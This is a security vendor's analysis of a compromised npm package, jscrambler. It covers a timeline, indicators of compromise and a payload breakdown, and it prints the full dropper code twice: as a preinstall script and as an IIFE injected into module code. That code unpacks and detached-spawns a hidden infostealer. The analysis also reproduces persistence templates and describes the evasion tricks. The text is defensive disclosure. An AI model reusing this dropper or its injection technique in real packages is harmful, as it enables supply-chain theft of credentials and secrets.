Official jscrambler npm Package Compromised Across Multiple Releases

16 min read Original article ↗

TL;DR

The official jscrambler npm package, published by the legitimate jscrambler_ account ([email protected]), was trojanized on July 11, 2026. Over about three hours the attacker published five malicious releases (8.14.0, 8.16.0, 8.17.0, 8.18.0, and 8.20.0), interleaved with clean releases the maintainers appear to have pushed as remediation. Every malicious version carries the same native dropper. It unpacks a platform-matched, Rust-compiled infostealer from a bundled binary container and runs it detached. The stealer targets browser profile data (Chrome, Brave, Edge, Chromium), the Bitwarden browser extension, and Steam sessions, and installs persistence through Windows Task Scheduler and macOS LaunchAgents.

The attacker went further than a normal single-version compromise in two ways. First, they republished the identical payload at 8.16.0 just 19 minutes after a clean 8.15.0 shipped, so the first remediation did not close the credential or CI access. Second, at 8.18.0 they moved the dropper out of the preinstall hook and into the package’s own dist/index.js and dist/bin/jscrambler.js, where it runs when the module is required rather than at install time. A scanner that only flags suspicious install scripts sees nothing.

As of the latest check, latest points to a clean 8.22.0, and 8.14.0, 8.16.0, and 8.17.0 are deprecated as compromised. The two runtime-dropper versions, 8.18.0 and 8.20.0, are still published and not deprecated. No commit, tag, or release for any malicious version exists in the jscrambler GitHub repository, which points to an npm account or CI pipeline compromise rather than a source repository compromise. With roughly 60,000 monthly downloads, the blast radius is significant.

Impact:

  • Installing or importing a malicious version runs a native binary that targets browser credentials across Chrome, Chromium, Brave, and Edge
  • The Bitwarden browser extension (nngceckbapebfimnlniiiahkandclblb) is explicitly targeted, putting stored vault data at risk
  • Steam session cookies (steamLoginSecure, sessionid) are harvested
  • The payload installs persistent scheduled tasks (Windows) or LaunchAgents (macOS) that survive reboots
  • The attacker reused one payload bundle, byte-identical across every malicious release, and changed only the trigger
  • From 8.18.0 onward the dropper fires from the package’s normal code path, so auditing only for install hooks no longer detects it

Timeline (2026-07-11, UTC):

VersionPublishedStatus
8.13.0Jun 30Clean. Last release before the campaign
8.14.015:12Malicious. preinstall dropper. Deprecated as compromised
8.15.017:07Clean. Code byte-identical to 8.13.0
8.16.017:26Malicious. Identical payload reintroduced 19 minutes later. Deprecated
8.17.017:41Malicious. preinstall dropper. Deprecated as compromised
8.18.017:46Malicious. Dropper moved into dist/index.js and dist/bin/jscrambler.js. Not deprecated
8.20.017:53Malicious. Same runtime dropper. Not deprecated
8.22.018:12Clean. Current latest. Code byte-identical to 8.15.0

Versions 8.19.0 and 8.21.0 were never published.

Indicators of Compromise (IoC):

  • Malicious versions with preinstall dropper: [email protected], 8.16.0, 8.17.0
  • Malicious versions with runtime dropper in module code: [email protected], 8.20.0
  • Clean versions: [email protected], 8.15.0, 8.22.0
  • Payload container (dist/intro.js), identical across all malicious versions: 7,837,238 bytes, magic 1b 43 53 49 01 (\x1bCSI\x01), SHA256 a41a523ef9517aab37ed6eea0ec881821bdcb7aefcb5c5f603adc7907f868c86
  • SHA256 (Linux ELF x86-64): fbbcf4d8f98168f78f5c0c47a9ae56d59ec8ac84a7c9ca6b797fedfb8d62d2bd
  • SHA256 (Windows PE x86-64): b7ca95d1b23c8e67416a25cedf741de0917c2096bbc9d24649eea7853d054903
  • SHA256 (macOS Mach-O arm64): c8fd47d36bdf7c825378593ab82ed8c24d1dc52e26b507812393e24e1d5201fd
  • Install hook (8.14.0, 8.16.0, 8.17.0): "preinstall": "node dist/setup.js"
  • Runtime dropper (8.18.0, 8.20.0): an IIFE at the top of dist/index.js and dist/bin/jscrambler.js that reads dist/intro.js
  • Self-dependency (8.18.0, 8.20.0): "jscrambler": "^8.17.0" listed in the package’s own dependencies
  • Bitwarden extension ID targeted: nngceckbapebfimnlniiiahkandclblb
  • Embedded hash (Windows binary): 9eeffcb5c3445ef9512f7776045f99ea23f9ebed989f8570bc4634b4e340de5d
  • PDB GUID: 6976bd1e56f6b4214c4c44205044422e (Windows build fingerprint)
  • Linux Build ID: c05bf7dc45672d7a59cbd5e300f586482da14d00
  • Compiler: rustc 1.98.0-nightly (e7815e522 2026-06-04)
  • Host artifacts: hidden dotfiles in os.tmpdir() (.{random} on Linux/macOS, .{random}.exe on Windows)
  • Windows Task Scheduler XML with <Hidden>true</Hidden>, restart interval PT1M, count 999
  • macOS LaunchAgent plist with RunAtLoad, KeepAlive, StartInterval 30s

Analysis

The compromise surface

Jscrambler is a commercial JavaScript protection platform. Their official npm CLI client, published under the jscrambler_ account ([email protected]), has ten maintainers, several with @jscrambler.com email addresses.

Version 8.13.0 was published on June 30, 2026, matching a GitHub commit from the same day. Version 8.14.0 appeared on July 11, 2026, with no corresponding GitHub commit, tag, or pull request. The GitHub repo’s latest tag is [email protected]. The attacker published directly to npm, bypassing the project’s normal release workflow.

The other packages in the jscrambler ecosystem (jscrambler-webpack-plugin, gulp-jscrambler, jscrambler-metro-plugin, grunt-jscrambler) were not affected. Their latest versions remain on the June 30 release and carry no install hooks.

The dropper

The only change to package.json between 8.13.0 and 8.14.0 is the addition of a preinstall script:

# diff package.json (8.13.0 vs 8.14.0)

"eslint:fix": "eslint src/ --fix"

"eslint:fix": "eslint src/ --fix",

"preinstall": "node dist/setup.js"

The dropper itself is 43 lines of clean, readable JavaScript. No obfuscation:

// dist/setup.js ([email protected])

import { readFileSync, writeFileSync } from 'fs';

import { join, dirname } from 'path';

import { fileURLToPath } from 'url';

import { gunzipSync } from 'zlib';

import { spawn } from 'child_process';

import { tmpdir } from 'os';

const __dirname = dirname(fileURLToPath(import.meta.url));

const PLATFORM_IDS = { linux: 0, win32: 1, darwin: 2 };

function ensureNativeRuntime() {

const bundle = readFileSync(join(__dirname, 'intro.js'));

const magic = Buffer.from([0x1b, 0x43, 0x53, 0x49, 0x01]);

if (!bundle.slice(0, 5).equals(magic)) return;

const platformId = PLATFORM_IDS[process.platform];

if (platformId === undefined) return;

const count = bundle[5];

let offset = 6;

for (let i = 0; i < count; i++) {

const platform = bundle[offset++];

offset += 8;

const compressedSize = Number(bundle.readBigUInt64LE(offset));

offset += 8;

const data = bundle.slice(offset, offset + compressedSize);

offset += compressedSize;

if (platform !== platformId) continue;

const ext = platform === 1 ? String.fromCharCode(46, 101, 120, 101) : '';

const target = join(tmpdir(), '.' + Math.random().toString(36).slice(2) + ext);

writeFileSync(target, gunzipSync(data), { mode: platform === 1 ? 0o644 : 0o755 });

try {

const proc = spawn(target, [], { detached: true, stdio: 'ignore', windowsHide: true });

proc.unref();

} catch (_) {}

break;

}

}

ensureNativeRuntime();

The function name ensureNativeRuntime is social engineering aimed at anyone who might glance at the file. A few details worth noting:

  • The .exe extension on Windows is constructed via String.fromCharCode(46,101,120,101) to avoid static string matching. That decodes to .exe
  • The output file is dot-prefixed ('.' + Math.random()...) to hide it in directory listings on Unix systems
  • detached: true, stdio: 'ignore', and proc.unref() ensure the spawned binary outlives the npm install process
  • windowsHide: true suppresses the console window on Windows
  • The entire spawn is wrapped in a try/catch that swallows all errors

The binary container

The dist/intro.js file is 7,837,238 bytes (7.5 MB) of raw binary data, not JavaScript despite the .js extension. It uses a custom container format:

Offset Content

0x00 Magic: 1b 43 53 49 01 (\x1bCSI\x01)

0x05 Platform count: 03

0x06 Entry 0 (linux): platformId=0, decompressedSize=4521128, compressedSize=2411350, gzip data...

Entry 1 (win32): platformId=1, decompressedSize=5155328, compressedSize=3340266, gzip data...

Entry 2 (darwin): platformId=2, decompressedSize=3184979, compressedSize=2085565, gzip data...

Each entry is a gzip-compressed native executable. After decompression:

PlatformFormatArchitectureDecompressed Size
LinuxELF 64-bit, dynamically linkedx86-644.31 MB
WindowsPE32+ console executablex86-644.92 MB
macOSMach-O executablearm64 (Apple Silicon)3.04 MB

All three are stripped, Rust-compiled binaries. The Rust toolchain is identifiable from rustls TLS library strings, CRYPTOGAMS crypto module markers, and Rust-standard error handling patterns throughout the binary.

Payload analysis

Binary analysis with radare2 confirms the dropped executables are compiled with rustc 1.98.0-nightly (e7815e522 2026-06-04), run on the Tokio async runtime, and carry a debug symbol path of agent.pdb. The project name “agent” is the attacker’s label for the payload.

# r2 binary metadata (Windows PE)

compiler rustc version 1.98.0-nightly (e7815e522 2026-06-04)

dbg_file agent.pdb

pdb_guid 6976bd1e56f6b4214c4c44205044422e

pdb_age 1

linker 14.0 (lld-link, no Rich header)

timestamp 0x00000000 (zeroed)

checksum 0x00000000 (zeroed)

subsystem WINDOWS_CUI (console)

# Linux ELF build metadata

build_id c05bf7dc45672d7a59cbd5e300f586482da14d00

abi Linux 4.4.0

The attacker practiced deliberate OPSEC. The PDB path is agent.pdb (relative, no full build directory), the PE timestamp and checksum are both zeroed, there is no Rich header (ruling out the MSVC linker, confirming lld-link), and all Rust panic source locations are stripped. No Cargo metadata, no .cargo/registry paths, no source file references leak through the binary. The project name “agent” is the only label the attacker left on the payload.

The PDB GUID (6976bd1e...), Linux Build ID (c05bf7dc...), and the nightly compiler pin (e7815e522, June 4, 2026) are durable fingerprints. If this toolchain surfaces in another compromise, these values tie the builds together.

The binaries are not simple credential harvesters. They implement a streaming C2 protocol, cloud secrets theft, browser data extraction, and Electron app targeting.

C2 command protocol

All three platform binaries contain the same JSON message protocol for real-time command execution:

# Strings from all three binaries

{"t":"out","id":"...","data":...,"progress":true}

{"t":"done","id":"..."}

The "t":"out" messages stream command output back to the operator with progress tracking. "t":"done" signals completion. This is a bidirectional RAT protocol, not one-way exfiltration.

AWS cloud secrets theft

The binaries construct AWS Signature Version 4 authentication headers and call AWS Secrets Manager and SSM Parameter Store APIs:

# AWS SigV4 header components (all three binaries)

Credential=

, SignedHeaders=

, Signature=

# AWS Secrets Manager GetSecretValue request body

{"SecretId":"..."}

# AWS SSM Parameter Store GetParameters request body

{"Names":["..."],"WithDecryption":true}

The WithDecryption: true flag requests plaintext values for encrypted parameters. The binary uses stolen AWS credentials from the compromised machine to access cloud secrets, expanding the blast radius from the local machine to any AWS infrastructure those credentials can reach.

Hashicorp Vault targeting

A nested Vault response parser appears in all three binaries:

# Vault API response parsing (all three binaries)

vault":"{\"data\":\"{\"data\":\"{"data":"

This matches the structure of Hashicorp Vault’s v1/secret/data/ API responses, where the data field contains the secret payload. The binary can extract secrets from Vault instances accessible with stolen tokens.

Browser credential theft

The Windows binary targets four Chromium-based browsers by reading their profile directories:

# Strings from win32_payload.exe

LOCALAPPDATAGoogle\Chrome\User DataChromium\User Data

BraveSoftware\Brave-Browser\User DataMicrosoft\Edge\User Data

An embedded SQLite engine reads browser databases directly (Login Data, Cookies, Web Data). Full FTS (full-text search) CREATE TABLE statements are present, indicating the binary indexes and searches extracted data. A compiled-in LevelDB reader (leveldb.BytewiseComparator, .ldb, MANIFEST-) handles browser local storage and extension data.

Password manager and session theft

The Bitwarden browser extension ID is hardcoded in the Windows binary:

# Strings from win32_payload.exe

nngceckbapebfimnlniiiahkandclblb

This is Bitwarden’s official Chrome Web Store identifier. The binary reads the extension’s LevelDB local storage.

Steam session cookies appear as a contiguous string in all three binaries:

# Strings from win32_payload.exe

steamLoginSecuresessionidbrowseridtimezoneOffset

These cookies grant full account access without credentials.

The binaries contain an ASAR archive parser:

# Strings from linux_payload

asar.unpacked

struct File

struct FileIntegrity

Archive is truncated

struct variant Header::Link

ASAR is the archive format used by Electron applications. This means the payload can extract data from Discord, Slack, VS Code, and other Electron-based desktop apps by reading their archived application data.

Encrypted C2 configuration

The C2 endpoints are not visible in plaintext. The Windows binary contains an 80KB (81,920 bytes, 16-byte aligned) encrypted data blob in the .rdata section starting at offset 0x326400. Every 4KB block in this region exceeds 7.9 bits of entropy. The blob is not ASN.1 (ruling out CA certificates) and does not respond to single-byte XOR.

The binary includes AES-NI hardware instructions (263 aesenc/aesdec/aeskeygenassist call sites in the Linux ELF), PBKDF2, and scrypt key derivation strings, which suggests the configuration is decrypted at startup from a key derived from a hardcoded passphrase. Recovering the C2 addresses without dynamic analysis is not feasible.

HTTP request templates

The macOS binary contains the clearest view of the HTTP templates used for C2 communication. Values like host, bearer token, and cookie are filled at runtime from the decrypted configuration:

# Reconstructed from darwin_payload string fragments

POST <path> HTTP/1.1

Host: <decrypted>

Authorization: Bearer <decrypted>

Cookie: <key>=<decrypted>

Content-Type: <decrypted>

Content-Length: 0

Connection: close

GET <path> HTTP/1.1

Host: <decrypted>

Authorization: Bearer <decrypted>

Accept: application/json

Connection: close

The raw ws2_32.dll Winsock imports (no WinHTTP/WinINet) confirm the binary handles TCP connections and TLS (via embedded rustls) directly, bypassing system HTTP libraries that might be monitored.

Self-propagation capability

The Linux binary contains a tokenized copy of the dropper’s own JavaScript source code, embedded in the .rodata section. The import chain and the String.fromCharCode evasion technique are both present:

# Strings from linux_payload .rodata at offset 0x670f8

import{readFileSync as ...}from'fs';

import{join as ...,dirname as ...}from'path';

import{fileURLToPath as ...}from'url';

import{gunzipSync as ...}from'zlib';

import{spawn as ...}from'child_process';

import{tmpdir as ...}from'os';

...

2===1?String.fromCharCode(46,101,120,101):'';

The 2===1 is the tokenized form of platform === 1 (the Windows platform check). The template is parameterized with \xc0XX placeholder tokens where variable names and string literals should be. This is a code generation template: the binary can emit new copies of the dropper with fresh variable names, potentially to inject into other npm packages or JavaScript projects on the compromised machine. The presence of the ASAR parser alongside this template raises the possibility that the payload can trojanize Electron applications by injecting the dropper into their archived source code.

Persistence mechanisms

Windows: Task Scheduler. The Windows binary contains a full Task Scheduler XML template:

<!-- Reconstructed from strings in win32_payload.exe -->

<RegistrationInfo><Description>

</Description></RegistrationInfo>

<Triggers>

</Triggers>

<Principals><Principal id="A">

</Principal></Principals>

<Settings>

<Hidden>true</Hidden>

<MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>

<ExecutionTimeLimit>PT0S</ExecutionTimeLimit>

<RestartOnFailure>

<Interval>PT1M</Interval>

<Count>999</Count>

</RestartOnFailure>

</Settings>

<Actions Context="A"><Exec><Command>

</Command></Exec></Actions></Task>

The task is hidden, runs with an unlimited execution time, and restarts every minute up to 999 times if it fails. cmd.exe execution strings confirm it can run shell commands.

macOS: LaunchAgent. The macOS binary contains a LaunchAgent plist template:

<!-- Reconstructed from strings in darwin_payload -->

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"

"http://www.apple.com/DTDs/PropertyList-1.0.dtd">

<plist version="1.0">

<dict>

<key>Label</key>

<string>...</string>

<key>ProgramArguments</key>

<array><string>...</string></array>

<key>RunAtLoad</key>

<!-- ... -->

<key>KeepAlive</key>

<!-- ... -->

<integer>30</integer>

</dict>

</plist>

RunAtLoad and KeepAlive with a 30-second StartInterval ensures the binary restarts on login and relaunches if killed.

Linux: BPF capabilities. The Linux binary links against libbpf.so.1, the BPF (Berkeley Packet Filter) library used for kernel-level network and tracing operations. It also reads /proc/self/mountinfo and /proc/self/cgroup for container and environment detection.

Attack evolution and the tug-of-war

The attacker did not stop at 8.14.0. Over the following three hours, six more versions were published through the same compromised jscrambler_ account. The GitHub commit history from the same window reveals that the legitimate maintainers were actively fighting for control at the same time, creating a version-by-version tug-of-war.

The binary payload is identical across every compromised version. All five versions that carry dist/intro.js have the same SHA256 (a41a523ef9517aab37ed6eea0ec881821bdcb7aefcb5c5f603adc7907f868c86). The setup.js dropper is also byte-identical across 8.14.0, 8.16.0, and 8.17.0. What changed is the delivery mechanism.

Round 1: preinstall hook (8.14.0, 15:12 UTC). The original attack. Two new files (setup.js, intro.js), one new package.json field. All existing code untouched.

Maintainer response (8.15.0, 17:07 UTC). Joao Pinto (maintainer joaopintomfc) pushed commit 7fe1986 to GitHub: “release jscrambler 8.15.0 with security fix.” Version 8.15.0 is clean, with code identical to 8.13.0 and a CHANGELOG entry noting the fix. This reclaimed the latest dist-tag.

Round 2: preinstall hook again (8.16.0, 17:26 UTC). The attacker republished with the same payload and hook, taking back latest.

Round 3: pnpm bypass (8.17.0, 17:41 UTC). Same payload and hook, but package.json now includes:

// package.json diff: 8.16.0 vs 8.17.0

+ "allowScripts": ["jscrambler"],

This is pnpm’s mechanism for whitelisting lifecycle scripts. The attacker added it to ensure the preinstall hook runs even in pnpm projects that restrict script execution.

Round 4: require-time injection (8.18.0, 17:46 UTC). The attacker changed tactics entirely. The preinstall hook and setup.js were removed. Instead, the dropper code was injected directly into dist/index.js and dist/bin/jscrambler.js as an IIFE at the top of each file:

// dist/index.js (8.18.0) — lines 3-35, injected before existing code

var _fs = require("fs");

var _path = require("path");

var _zlib = require("zlib");

var _child_process = require("child_process");

var _os = require("os");

(function () {

var PLATFORM_IDS = { linux: 0, win32: 1, darwin: 2 };

try {

var bundle = (0, _fs.readFileSync)((0, _path.join)(__dirname, 'intro.js'));

var magic = Buffer.from([0x1b, 0x43, 0x53, 0x49, 0x01]);

if (!bundle.slice(0, 5).equals(magic)) return;

var platformId = PLATFORM_IDS[process.platform];

if (platformId === undefined) return;

// ... same dropper logic as setup.js ...

var ext = platform === 1 ? '.exe' : '';

var target = (0, _path.join)((0, _os.tmpdir)(),

'.' + Math.random().toString(36).slice(2) + ext);

(0, _fs.writeFileSync)(target, (0, _zlib.gunzipSync)(data),

{ mode: platform === 1 ? 0o644 : 0o755 });

try {

var proc = (0, _child_process.spawn)(target, [],

{ detached: true, stdio: 'ignore', windowsHide: true });

proc.unref();

} catch (_) {}

break;

} catch (_) {}

})();

This is a significant escalation. The dropper now fires whenever any code calls require('jscrambler') or runs the jscrambler CLI. It bypasses npm install --ignore-scripts entirely. The code was also converted from ESM (import) to CommonJS (require) to match the existing codebase, and the String.fromCharCode evasion for .exe was dropped in favor of a plain string.

The bin/jscrambler.js injection is identical except for the path to intro.js, which uses '..', 'intro.js' to reach the parent directory from dist/bin/.

Round 5: identical re-publish (8.20.0, 17:53 UTC). Byte-identical index.js, bin/jscrambler.js, and intro.js to 8.18.0. Only the version number changed.

Both 8.18.0 and 8.20.0 also add a self-referential entry to their own dependencies:

A package listing its own name as a dependency has no clear legitimate purpose. In some install topologies it could pull a compromised sibling version into the tree. What that does in a real dependency graph is unclear, and maintainers should assess it.

Maintainer response (8.22.0, 18:12 UTC). Maintainer vitorveiga pushed several GitHub commits between 17:50 and 18:04 UTC and published 8.22.0 with clean code (identical to 8.13.0) to reclaim latest. Later that evening, commits adding a “security incident banner” were pushed at 20:24 and 22:12 UTC.

The four other packages in the jscrambler npm ecosystem ([email protected], [email protected], [email protected], [email protected]) were not affected. Their latest versions remain on the June 30 release.

Anyone who installed any of [email protected], 8.16.0, 8.17.0, 8.18.0, or 8.20.0 should treat the machine as compromised. For the preinstall versions the payload ran at install time, before any application code. For 8.18.0 and 8.20.0 it runs whenever the module is required or the CLI is invoked, so any build or process that imported jscrambler triggered it. Rotating browser-stored credentials, Bitwarden master passwords, and Steam sessions is the minimum response. On Windows, check Task Scheduler for hidden tasks. On macOS, inspect ~/Library/LaunchAgents/ for unfamiliar plists.

Because 8.18.0 and 8.20.0 are still published and not deprecated, an unpinned install that resolved to either one before latest moved to 8.22.0 would have pulled the runtime dropper, and an install-script audit would not have caught it. Pin to a version confirmed clean by reading its code, not by the absence of an install script. The current latest, 8.22.0, has dist/index.js and dist/bin/jscrambler.js byte-identical to the clean 8.15.0 and 8.13.0. Until the maintainers confirm the publishing credential is rotated and the access path is closed, treat any new release with caution, since the attacker has re-entered the pipeline once after a remediation.

SafeDep’s Package Manager Guard (pmg) blocks packages with a malware verdict before they reach your environment. The verdict comes from analyzing the package payload rather than from spotting a suspicious install hook, so the same gate that would have rejected the preinstall versions also covers 8.18.0 and 8.20.0, where the dropper hides in the module’s own code and there is no install script to flag.